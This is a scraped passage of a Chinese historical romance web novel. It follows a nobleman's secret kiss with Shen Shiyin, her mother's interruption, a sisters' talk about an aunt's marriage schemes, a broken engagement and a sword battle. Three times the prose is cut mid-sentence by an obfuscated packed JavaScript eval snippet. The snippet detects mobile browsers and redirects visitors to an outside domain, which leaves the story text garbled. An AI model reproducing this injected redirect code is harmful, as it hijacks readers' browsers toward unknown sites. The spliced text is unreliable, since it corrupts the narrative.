她原本就嫣红的唇瓣被他揉得愈发娇艳,呼出的气息落在他手背上,酥酥痒痒,勾起了他深埋两年的记忆。 那时他听她说出“结发长生”四字,再按捺不住,低头便吻了上去。 他将她紧紧箍在怀中,温香软玉满怀,激动得脊背都沁出薄汗。 他贪婪地吮吸着她的唇,一手揽紧她的腰肢,另一手胡乱扯开自己的衣袍甩在地上,拥着她躺下。 他从她的唇瓣亲到颈侧,触到敏感,皆是激起阵阵颤栗。 她生涩地勾住他的脖颈,迎合着他的亲吻,两个人一阵手忙脚乱。当最终拥有她的那一刻,感觉自己仿佛跌进了软软的云层里。 辗转勾缠。 待她缓过那阵劲儿,软软伏在他胸膛上,红着脸,深深望进他的眼底,轻声道:“我记下你的模样了。只要你愿意,我一定会负责。娶我也好,入赘也罢,断不会亏待你。” 那日是他生平头一回听见“入赘”二字,竟还是从一个小姑娘口中说出来。他当时只是低笑,羞赧得不知如何回应,只见她双颊绯红如霞,看得他浑身血液又烧灼起来,终是忍不住将人重新揽入怀中。 这一回,既非她主动,也不是为了替她解那药性,而是真真切切地想要她。而她也未推拒,只软绵绵地缩在他怀里任他亲吮,甚至还生涩地迎合他一次次更过分的索求。 两人痴缠许久,直至暮色渐沉,她才揣着他细细的叮嘱匆匆下山。 那一日于他而言,比过往任何时刻都要珍贵,刻骨铭心到后来整整两年间,他都强迫自己忘却。 可如今却是再也忘不掉了。非但忘不掉,反倒贪心地想要索取更多,甚至还会莫名生气她把自己忘了。 忘了,还要怎么对他负责? 既然早就是他的人了,既然亲口许诺过承诺,连成婚的话都说出了口,实质上他们早该是夫妻了。 那么,如今便是亲近些,又有什么不该? 话虽如此,可她终究是忘了他。出于尊重,他只得强压下心头躁动,指腹难耐地摩挲着她的唇瓣,在理智与情潮间艰难挣扎。 而她,没有躲闪,温热的呼吸都带着细微的颤栗,眸中水光潋滟,仿佛藏着某种陌生的熟稔。 许是这般眼神给了他错觉,抑或是她无意识的迎合成了压垮理智的最后一根稻草。 他终是俯身亲了下去。 他并未直接触及朱唇,而是将灼热的吻落在自己按在她唇瓣的指节上。 到底怕唐突了她,连亲近都带着克制。 这突如其来的亲吻惊得沈识因脊背僵直,心乱如麻。纵然二人真要在一起,也该有个循序渐进的过程。哪似这人,分明没见过几面,说过的话都屈指可数,却每每相见便要往身上贴,如同恩爱多年的夫妻般自然。 她睁圆了眸子,屏住呼吸,一动也不敢动。 他的指尖仍抵在二人唇间,灼热温度透过肌肤相贴蔓延开来。 他竟当真……就这样亲了下来? 就在她心慌意乱之际,忽觉他欲将手指抽离。她下意识攥紧他手腕阻拦,却被他执意挣脱,另一只手还顺势扣住她后脑不容躲避。 情急之下,她只好张口含住他的手指欲咬下去,结果却被他揽住腰肢猛地带入了怀中。 这般贴近的姿势让她倏然睁大了眼,一股莫名的熟悉感铺天盖地袭来,顿时让她从眼尾一路红到颈间。 呼吸也乱了节拍,望着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261154|181517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他几乎涌出春水的双眸,齿间衔着的手指终究没舍得用力。 “因儿?” 这时,忽然传来姚舒的声音。 母亲?! 沈识因浑身一僵,猛地回神使劲推了陆呈辞一把。 陆呈辞闻声也是一怔,尚未反应过来便被推得踉跄后退,膝弯撞上身旁长椅,额头“咚”地磕在了檀木椅角上。 那长椅乃是实木所造,坚硬无比。沈识因情急之下发力过猛,直撞得陆呈辞额角一阵锐痛,忍不住闷哼一声。 这厢动静实在太大,刚赶到的姚舒闻声一惊,忙快步上前,待看清跌坐在地的竟是陆呈辞,不由怔在原地。 沈识因也回过神来,慌忙蹲下身歉然道:“你没事吧?我……我并非有意。” 陆呈辞屈指拭过额角,指尖竟沾上一抹殷红。沈识因见状轻呼一声,急忙细看,只见他鬓角处被椅角磕破了一道口子,正缓缓渗出血。 “都流血了……”沈识因心下懊悔,方才推的实在过了。 陆呈辞亦未料到她手劲这般大。先前她掐他那两回虽疼,只当是自己皮肉敏感,岂料她这一推之下,竟能将他这般身量的男子掀倒在地。 姚舒急忙上前搀扶,将陆呈辞安置在长椅上,连声道:“陆世子可还安好?快随我去寻大夫瞧瞧。” 陆呈辞抬眼望见姚舒,耳根不由泛起红来。深更半夜在后园偷亲人家姑娘被当场撞破,饶是他再镇定也难免窘迫。他勉强笑道:“不妨事,夫人莫担心,不用看大夫。” “这怎么使得?”姚舒急得蹙眉,“头部的伤最是马虎不得,世子快随我到前厅处置。” 方才她进园时远远瞧见两道身影紧贴在一起,还当是哪个胆大的下人在此私会,走近些却觉那身形眼熟得很,出声一唤,竟是自家女儿。 只是,这陆世子深夜突然造访所为何事?方才那般贴近因儿又是作甚? 她满腹疑云,眼下见他受伤,觉得还是先将人带到前堂再细问。 陆呈辞仍推辞道:“夫人不必劳烦,当真无碍。” 姚舒无奈地望了女儿一眼,沈识因俯身看了看他的伤口,轻声道:“还是去请大夫瞧瞧罢,头部的伤最是轻忽不得。” “好。”他方才还拒绝姚舒的好意,结果沈识因一劝就立即答应了,小心思不要太明显,说着还扶住沈识因的手臂起身。 姚舒见状忙上前攥住女儿衣袖,不着痕迹地将人带到一旁。陆呈辞的手僵在半空,尴尬地低下了头。 三人默然往前堂里走,谁都没有说话。 沈识因抚着发烫的面颊,满心担忧,方才,母亲不会瞧见他们亲吻了吧? 陆呈辞胆子太大了,她自己也病得不轻。 她转头看了他一眼,结果他正直勾勾地看着自己。 他……就是魔鬼吧! 21. 第 21 章 三人到了前堂,姚舒命人去请府医。府医匆匆赶来,向陆呈辞行了一礼,便上前为他处理额角的伤口。所幸只是皮外伤,清理过后敷上药膏,包扎妥当即可。 待府医退下,陆呈辞抬手轻触额角的纱布,目光不自觉转向沈识因。沈识因也抬眸看他,对视后垂下眼帘,没作声。 姚舒将二人的神情尽收眼底,只觉得他们一个个都透着做贼心虚的模样,不由叹息。 自上次沈识因破天荒为陆呈辞扯谎,她便觉出些不寻常来。只是不清楚这两人是何时有的交集。 识因平日深居简出,即便偶尔出门,她这个做母亲的也会派人跟着。若真与陆呈辞有什么往来,断不会至今无人回禀。就算是前些日子陆呈辞过府时才相识,也不至于进展如此之快。 她自己的女儿自己清楚,行事最是谨慎,从不轻易与人亲近,尤其是男子。平日里就连与许夙阳那般相熟的,也都始终守着恰到好处的距离。 可方才,她分明看见识因与陆呈辞贴得那样近。 “陆世子。”姚舒轻声开口,“方才听管家说,您是来找意林的,可是有什么要紧事?” 陆呈辞闻言微微颔首:“回夫人,确是来寻沈公子商议些事情。方才听闻管家说他在书房与沈大人议事,便未敢打扰。” 姚舒:“近来府中事务确实繁多。我已经差人去书房传话了,还请世子稍候片刻。” 她说着目光转向沈识因:“方才因儿推了世子一把,实在失礼。想来她并未认出是世子,这才失了分寸。这孩子自幼胆子小,估计是被世子吓着了。” 吓着了…… 沈识因脸上一红,头垂得更低了。陆呈辞的耳朵也红了,只得颔首示礼。 姚舒看着二人,确定是有点不正常的。 不一会,沈意林步履匆匆地赶来,一见陆呈辞便拱手致歉:“世子见谅,方才正在议事,不知您大驾光临。” 沈意林为人谦和温润,虽知两家渊源,待陆呈辞却始终以礼相待。 陆呈辞起身还礼:“沈公子不必客气。” “那便请世子随我到书房一叙。”沈意林侧身相请。陆呈辞应了一声,随他离去。 待二人走远,姚舒缓步至女儿跟前,细看她怔忡的神色,温声问道:“告诉娘,你与陆世子是何时相识的?” 沈识因回过神来,螓首低垂,颊边泛着红色,小声道:“他来府上前一日。” 来府前一日?这才几日工夫?她仔细端详女儿神情,心下百转千回,这丫头,总不至于才见几面就动心了吧? 姚舒默然片刻,正欲开口,却听沈识因道:“娘,女儿晓得两府的关系,自有分寸。” 沈识因知道娘亲在担心什么。 她说自有分寸,姚舒没再多问,只道:“因儿明白便好,娘也不多说什么了。” “夫人,三姑娘。”这时,沈书媛院里的嬷嬷前来禀报,说是请沈识因过去一趟。沈识因向母亲行了礼,便往姐姐院中去了。 沈识因到了姐姐的院子,但见姐姐正端坐案前作画,宣纸上几株兰草亭亭玉立,笔墨间自有一番灵秀之气。姐姐素来酷爱丹青,尤擅花卉,院中遍植奇花异草,四季芬芳不绝。 沈书媛见妹妹进来,立即搁下画笔,道:“妹妹可见过姨母他们了?” 沈识因缓步上前,仔细端详姐姐面色:“见过了。姐姐今日身子可好些了?” 沈书媛因着身子不适,一整日未曾出门,此刻瞧着气色倒还算红润。 沈书媛携着妹妹绕过书案,缓步转入内室,低声道:“妹妹,姐姐身子无碍,只是不愿见姨母那一家子。” 沈识因不解:“姐姐为何不愿见?儿时我们不是常去小住吗?” 从前姊妹二人确实曾多次同往姨母家做客,那时沈书媛最是欢喜,江南风物恰合她作画的兴致。可后来不知为何,她竟再也不愿去了,最后两回都是沈识因独自去的。家中只当是她年岁渐长,不爱出门。 沈书媛轻轻握住妹妹的手,道:“妹妹,我听丫鬟说,姨母一家此番要在此处长住小半年。有几句话,姐姐得嘱咐你。” 沈书媛神色倏然凝重,沈识因忙点了点头,只听沈书媛道:“从前在姨母家小住时,姨母曾几番明里暗里地提及,盼我日后能与江絮结缘,要我嫁与他为妻。姨丈更是直言,依着我们家的门第,将来定能助江絮出人头地。江絮虽是个好的,可我实在不愿。姨母瞧出我的不愿,又说了许多圆场的话,只道是玩笑,让我莫要当真,我便未将此事放在心上。” “可今日听闻他们举家前来,且要长住半载,我实在放心不下。如今我已与周烨订亲,倒不必担忧自身。只怕他们……会将主意打到你身上。” 沈识因有些惊讶:“不想姨母竟存着这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266246|181517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般心思。她也真是糊涂了,自己择了怎样的姻缘难道不清楚吗?还真当自己是活菩萨,舍了大好前程来渡困顿的姨丈。如今倒好,竟盘算着借你的姻缘拉拔她儿子?” 当年姨母宁与家中决裂也要下嫁姨丈时,沈识因便觉着姨母怕是昏了头,放着锦绣前程不要,偏要远嫁受苦。过着清贫日子也就罢了,竟还将自己活成了伺候一大家子的老妈子。 这条路既是她自己选的,酸辣苦辣她会不知?如今怎的还要拉着侄女往火坑里跳? “姐姐放心,我自会留心。不过,我与江絮哥哥自幼相识,也算知根知底。” 沈书媛依旧忍不住嘱咐:“妹妹须知人心隔肚皮。咱们虽不该轻视寒门,却也不能不防。我听说,当年姨丈是先与姨母有了肌肤之亲,待姨母怀了身孕,才上门求娶的。那时候消息不知怎的传得满城风雨,街坊邻里都在嚼舌根,外祖母险些气病。” “这般私密之事竟能传扬开来,难免不让人乱想。当时姨母也是痴傻,任凭家人如何劝阻都要嫁,甚至以死相逼。” 沈识因问道:“姐姐你说姨母可会后悔?” 沈书媛:“我猜是悔的,只是骑虎难下罢了。如今举家入京赴考,不就是想打个翻身仗,不愿再过那清苦日子吗?江絮虽为人正直,可谁又能保证他不会步他父亲后尘?” 沈书媛说得直白。她以往虽厌烦姨母姨丈那些盘算,却也不曾这般防备,甚至后来还去过几回。自去年起与各家闺秀往来多了,听多了世情冷暖,她愈发谨慎细致起来。 当初与周烨订亲,也是千打听万打听才应下的。 沈识因颔首:“姐姐说得是,我自会当心。” 沈书媛放下心来,命丫鬟抱来一床锦被,道:“今夜你便在我这儿歇下,姐姐马上就要出阁了,真想多陪陪你。” 沈识因自是愿意,二人梳洗罢便相携入帐。 翌日清晨,许夙阳早早就来了。恰逢江絮前来前院给姨母姨丈请安,沈识因也在堂中奉茶。许夙阳才跨进门槛,便瞧见个陌生男子坐在厅中,不由蹙起眉头。 江絮听得动静转身看去,只见门前进来一个身着金贵,模样英俊的公子,那身气度,一看就是达官贵人家的孩子。他不免微微蹙眉,措不及防地对视上许夙阳看来的目光。 许夙阳望着他,愣了一瞬,强烈的直觉和占有欲,不禁让他警觉起来。 22. 第 22 章 在许夙阳眼中,沈识因向来是个端庄守礼的姑娘,容色出众,性情温婉,从不与外男有过多牵扯,平日更是深居简出、交际极少。 她待人接物很有分寸,这份恰到好处的矜持,恰是他最心安之处。 也正因如此,当他踏入沈府前堂,一眼望见那个坐在沈识因身侧的陌生男子时,心里莫名不舒服。 那人所坐的位置,离她太近了。 那个位置,就连他,也是年满十八、两家交谊更深之后,才被允许坐上。可如今,竟被一个不知从何而来的外男占据了。 他目光微沉,不由审视地看向对方。男子也望着他,神情看似平静,穿着打扮也很普通,但是样貌与气质却非同寻常,精致的眉眼有一些他形容不上来的阴气。 这份阴气恰好给普通装扮的他增添了一气神秘,还显得与众不同的好看。 “夙阳哥哥。”沈识因叫了他一声,他缓过神应了声,上前向沈老爷与沈夫人执礼问安。 沈老爷笑着朝沈识因斜对面的空位做了个请的姿势,道:“夙阳,快坐。” 许夙阳回礼上前落座,目光仍不由自主地落在沈识因身旁的江絮身上。江絮见他望来,从容颔首致意:“许公子。” 许夙阳听得这声“许公子”,略带疑惑地看向沈识因。沈识因轻声道:“这是我姨兄江絮。此番进京是为准备明年会试,暂居府中。” 姨兄?暂居府中? 这位姨兄,许夙阳以前听沈识因提起过几回,却始终未曾得见。此刻听闻他要在此长住,心中莫名生出几分不适,但面上仍保持着温和,微微颔首回礼。 众人叙话片刻,沈老爷与夫人便起身去忙。 许夙阳本是专程来寻沈识因商议婚事的,正准备带她离开,不料江絮却主动上前搭话,言辞间尽是热络:“久闻探花郎大名,今日得见,果然气度不凡。” 许夙阳虽对江絮无甚好感,面上却仍含笑道:“江公子过誉了。说来日后还要尊您一声姨兄呢。” 他说着朝沈识因身侧靠近几分,温声道:“我与识因不日便要定亲了,届时自然该随她唤一声姨兄。江公子既是要进京应试,若有疑难之处,尽管来寻我便是。” 那声“姨兄”让江絮眼神微黯,但旋即含笑应道:“那日后便要劳烦许公子了。今日既然有缘初见,不知可否赏光一同品茶?” 江絮这般主动相邀,明显存着结交之意。许夙阳却只看了眼沈识因,婉拒道:“改日罢。今日我与识因尚有要事相商。” 江絮不便再劝,只得目送二人离开。许夙阳携沈识因穿过回廊,直至凉亭中坐下。 许夙阳望着眼前与往日似有不同的人儿,不由蹙起眉头。他伸手想去握她的手,却被她避开。 又是这样,至今仍不愿让他触碰。 许夙阳心中掠过一丝不悦,却还是强自按捺,正要开口与她好好谈一谈,却见她抬眸望来,轻声道:“夙阳哥哥,有些要紧的话,我想对你说。” 要紧的话?许夙阳心头莫名一紧,还未及反应,便听她继续道:“这些日子我仔细思量过,发觉我们二人之间……或许并不合适。这婚事,怕是不能继续了。” 不合适?不能继续? 许夙阳闻言只觉得晴天霹雳,急声道:“为何?怎么突然说出这种话?” 沈识因避开他的视线,道:“是我的缘故。近来才想明白,我对你的情意或许并非男女之情,只是自幼相伴生出的依恋。夙阳哥哥,这不是爱情,对不起,我不能嫁给你了。” 不是爱情? 许夙阳一时惶然,难以置信地望着她:“你如何断定这不是爱情?又怎知怎样的才是爱情?” “识因,你可是看上别的男人了?” —— 陆呈辞率部抵达西野后,先是命精锐伏于东、西、南三面,然后准备从北面发起突袭。 岂料刚准备完毕,陆赫突然改变行程,绕过西野直往伏虎山方向而去。他只得撤了先前的布置,连夜急行军赶往伏虎山。 方才抵达山麓,天际忽降暴雨。雨势滂沱如注,陆赫竟又临时更改宿营之地,欲折返西野。陆呈辞一路紧随,眼见其行踪飘忽不定,迟迟寻不到合适的出手时机。 这场秋雨连绵三日未歇,西野地界也飘起了淅淅沥沥的雪粒子。此地较京城偏北,寒气凛冽,方至深秋便已见雪踪。 因着陆赫身份特殊,行事向来机警,此番能再度锁定其行踪实属不易。虽天公不作美,但这恶劣天气,或许正是擒拿陆赫的绝佳时机。 如此往来,耗费了七八日的时间。 陆呈辞先是遣了一队精锐前去试探,待搅乱了陆赫心神,便亲率一队人马自西野北侧突袭而入。 陆赫自幼长于北疆,生得魁梧雄健,不仅勇猛过人,更兼谋略深远,武艺更是高强莫测。此番出行,身边随行的皆是顶尖护卫,想要生擒他,绝非易事。 陆呈辞换上一袭玄色劲装,以黑纱覆面,领着数名高手直接闯入。此时先遣部队正与陆赫一行人缠斗,显然对方武艺超群,不过片刻便已占得上风。 陆呈辞眸光一凛,自腰间抽出软剑,纵身跃入战局。 陆赫见他来势凌厉,心知遇上了劲敌,当即挥剑相迎。二人剑光交错,缠斗在一起。 陆赫臂力惊人,所使玄铁重剑较常人之剑更长更宽,一剑劈下,竟有断金碎石之势。 陆呈辞初时与陆赫交手颇觉吃力,剑招皆被那柄重剑凌厉的攻势所压制。然他渐次窥出对方剑路破绽,便以软剑迂回侧击,剑走偏锋。 数次交锋后,终于寻得空隙,软剑凌厉地擦过陆赫肋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16277501|181517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,划开一道血痕。 奈何这般伤势于陆赫不过皮肉之苦,反倒激得他战意更盛。重剑挥洒间攻势愈发狠厉,逼得陆呈辞连连后退,困至墙角。 陆赫得势,长剑一挑欲掀其面纱,陆呈辞急忙偏首躲过,却避不及紧随其后的剑锋,寒刃擦颈而过,顿时血染衣襟。这一剑,若再偏一分,便要伤及血脉。 陆呈辞吃痛后撤,当即扯下腰间束带缠缚伤处,腕间一振,数枚飞镖疾射而出,趁陆赫闪避之机已换持硬剑攻上。 几番缠斗后陆呈辞逐渐占据上风,然他身上多处受伤,血染衣袍,已是强弩之末。 他迅速环视四周,见陆赫亲卫皆已被制伏,只要再坚持片刻,便能将此人擒获。 奈何陆赫武艺实在高强,重剑如山压顶,逼得陆呈辞节节败退。剑锋抵在他胸前,巨力压得他面泛赤红,额间青筋暴起,稍一松懈便是穿心之祸。 生死关头,陆呈辞猛地腾出左手,挥起匕首直取陆赫咽喉。 陆赫急侧首闪避,却不妨另一道银光已至。只听“噗嗤”一声,陆呈辞右手暗藏第二把匕首,又快又狠地刺入他腹中。 他闷哼一声,手上力道骤松,陆呈辞顺势扣住他执剑的手臂反拧,旋身将其重重按在墙上,抬腿猛踢其腕。玄铁重剑应声飞出,哐当落地。 陆赫腹间中剑,丧失战斗力。正当此时,一名忠心护卫突然自暗处暴起,长剑直取陆呈辞后心。 陆呈辞闪避不及,肩头硬生生受了一剑,剧痛之下他不由蹙眉。那护卫趁势扶起陆赫,破窗而出遁入夜色。 陆呈辞强忍伤痛追出院落,却见岳秋正被数名黑衣蒙面人围攻。这些人招式诡谲,不知是何方势力。岳秋孤身苦战已是险象环生,陆呈辞只得暂弃追击,挥剑杀入重围相助。 一番激战后,黑衣人见陆赫已然远遁,不再缠斗,倏忽间撤得干干净净,显见是专为掩护陆赫而来。 陆呈辞此一战折损颇多,自己亦是伤痕累累,目标也未擒获。他虽心有不甘,却深知此事不能操之过急。虽然人没抓到,起码此番摸清了陆赫的武功路数与行事风格。 深夜,众人暂在附近小镇落脚。房间里,大夫正为陆呈辞处理伤口时,京城密探疾步来报:“世子,许探花明日便要往沈府下聘,今日已有不少宾客登门道贺,消息已经传遍了整个京城。” 下聘?陆呈辞骤然起身,身上还未缠紧的纱布随之滑落。 沈识因与许夙阳当真要订婚? 她怎会答应?他分明早已嘱咐过她。 他一时慌乱,当即抓过大夫手中的纱布草草缠紧伤口,玄色大氅一振便向门外走去:“即刻启程回京。” 岳秋连忙去追他:“世子,您的伤……” “还管什么伤。” 沈识因都要被人娶走了。